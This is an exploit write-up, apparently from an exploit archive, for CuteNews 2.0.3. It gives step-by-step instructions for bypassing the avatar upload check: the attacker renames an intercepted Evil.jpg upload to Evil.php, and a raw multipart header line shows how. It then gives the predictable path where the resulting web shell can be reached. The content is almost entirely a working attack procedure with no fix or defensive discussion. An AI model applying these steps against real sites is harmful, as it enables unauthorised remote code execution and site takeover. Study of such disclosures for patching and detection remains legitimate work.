CuteNews 2.0.3 - Arbitrary File Upload Vulnerability

# Exploit Title: CuteNews 2.0.3 Remote File Upload Vulnerability
# Date: [02/07/2015]
# Exploit Author: [T0x!c]
# Facebook: https://www.facebook.com/Dz.pr0s
# Vendor Homepage: [http://cutephp.com/]
# Software Link: [http://cutephp.com/cutenews/cutenews.2.0.3.zip]
# Version: [2.0.3] 
# Tested on: [Windows 7]
# greetz to :Tr00n , Kha&mix , Cc0de  , Ghosty , Ked ans , Caddy-dz .....
==========================================================
 # Exploit  :
  
Vuln : http://127.0.0.1/cutenews/index.php?mod=main&opt=personal
   
 1 - Sign up for New User
 2 - Log In 
 3 - Go to Personal options http://www.target.com/cutenews/index.php?mod=main&opt=personal
 4 - Select Upload Avatar Example: Evil.jpg
 5 - use tamper data  & Rename File Evil.jpg to Evil.php
   
-----------------------------2847913122899\r\nContent-Disposition: form-data; name="avatar_file"; filename="Evil.php"\r\
 
6 - Your Shell : http://127.0.0.1/cutenews/uploads/avatar_Username_FileName.php
 
 Example: http://127.0.0.1/cutenews/uploads/avatar_toxic_Evil.php

#  0day.today [2018-03-12]  #